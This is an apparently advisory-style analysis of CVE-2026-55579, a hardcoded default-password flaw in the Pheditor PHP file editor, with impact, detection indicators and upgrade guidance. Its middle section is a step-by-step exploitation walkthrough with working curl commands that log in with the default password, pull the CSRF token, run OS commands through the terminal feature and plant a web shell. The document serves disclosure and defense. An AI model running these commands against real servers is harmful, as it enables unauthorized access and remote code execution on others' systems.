CVE-2026-55579: 
PHP vulnerability analysis and mitigation

CVE-2026-55579 is a hardcoded default credentials vulnerability in Pheditor, a PHP-based file editor, that allows unauthenticated remote attackers to gain full administrative access and achieve remote code execution. The vulnerability stems from a hardcoded default password admin (stored as an unsalted SHA-512 hash in pheditor.php:11) with no mechanism to force a password change on first login. It affects versions >= 2.0.1 and < 2.0.6 of the pheditor/pheditor Composer package. The vulnerability was discovered by Thai Son Dinh from VinSOC Labs (R&D), published on June 14, 2026, and added to the GitHub Advisory Database on July 16, 2026. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory).

The root cause is classified as CWE-798 (Use of Hard-coded Credentials). The password hash is defined as a compile-time constant in pheditor.php:11: define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'), which is the unsalted SHA-512 hash of the string admin. While the application displays a visual warning banner (lines 1956–1958) when the default password is in use, there is no forced password change, account lockout, or setup wizard. Additionally, the password change feature (lines 363–391) writes the new hash directly into the PHP source file, meaning any party with read access to the source can extract the credential. A public PoC repository exists at https://github.com/Ch4120N/CVE-2026-55579 (GitHub Advisory, Pheditor Advisory).

Successful exploitation grants an unauthenticated remote attacker full administrator access to Pheditor, crossing the security boundary from unauthenticated to fully authenticated administrator with no privileges required. Confidentiality impact is high — an attacker can read all files accessible within MAIN_DIR and beyond via the built-in terminal. Integrity and availability impacts are also high — the attacker can write or delete files, upload web shells, modify application source code, execute arbitrary OS commands as the web server user, and disrupt services entirely (GitHub Advisory, Pheditor Advisory).

1. Reconnaissance: Identify internet-facing Pheditor instances using search engines (e.g., Shodan, Censys) or by scanning for pheditor.php on web servers. Target installations running versions >= 2.0.1 and < 2.0.6.
2. Authenticate with default credentials: Submit a POST request to pheditor.php with the default password admin:

   curl -s -c /tmp/cookies.txt -X POST http://<target>/pheditor.php \
     -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}"

   A 200 response confirms successful authentication.
3. Extract CSRF token: Parse the authenticated session response to retrieve the application's CSRF token:

   TOKEN=$(curl -s -b /tmp/cookies.txt http://<target>/pheditor.php | \
     grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')

4. Execute arbitrary commands via terminal: Use the authenticated session and token to invoke the built-in terminal feature:

   curl -s -b /tmp/cookies.txt -X POST http://<target>/pheditor.php \
     --data-urlencode "action=terminal" \
     --data-urlencode "token=$TOKEN" \
     --data-urlencode 'command=id' \
     --data-urlencode "dir="

5. Establish persistence: Upload a PHP web shell via the file upload feature or write one directly using the file editor to maintain persistent access independent of the Pheditor session (Pheditor Advisory).

• Network: HTTP POST requests to pheditor.php with the parameter pheditor_password=admin; repeated POST requests to pheditor.php with action=terminal from unexpected source IPs; outbound connections from the web server to attacker-controlled infrastructure.
• Logs: Web server access logs showing successful 200 responses to POST /pheditor.php with pheditor_password parameter; subsequent requests with action=terminal or action=upload from the same session.
• File System: Presence of unexpected PHP files (web shells) in the Pheditor working directory or subdirectories; modifications to pheditor.php itself (password hash changes); new files with .php extension uploaded via the file upload feature.
• Process: Unusual child processes spawned by the PHP/web server process (e.g., id, whoami, bash, curl, wget, python) indicating terminal command execution (Pheditor Advisory).

The vendor released Pheditor version 2.0.6 on June 14, 2026, which adds a secure password change mechanism with confirmation and improved hashing, and hardens session handling for authentication. Users should upgrade to version 2.0.6 immediately via Composer (composer update pheditor/pheditor). As an interim workaround for those unable to upgrade, manually change the password hash in pheditor.php:11 to a strong, unique password's SHA-512 hash, restrict access to pheditor.php via web server IP allowlisting or HTTP basic authentication, and ensure the file is not publicly accessible. The advisory also recommends migrating to password_hash() / password_verify() with PASSWORD_BCRYPT for future-proof credential storage (Pheditor Release, GitHub Advisory).

The vulnerability was discovered and reported by Thai Son Dinh from VinSOC Labs (R&D), credited under the GitHub username sondt99. Tenable added cloud security plugin coverage (plugin 444803) shortly after the advisory was published on July 16, 2026. A public PoC repository was created by Ch4120N on GitHub, indicating community interest in the vulnerability. No major media coverage or significant social media debate has been identified beyond these technical community responses (GitHub Advisory).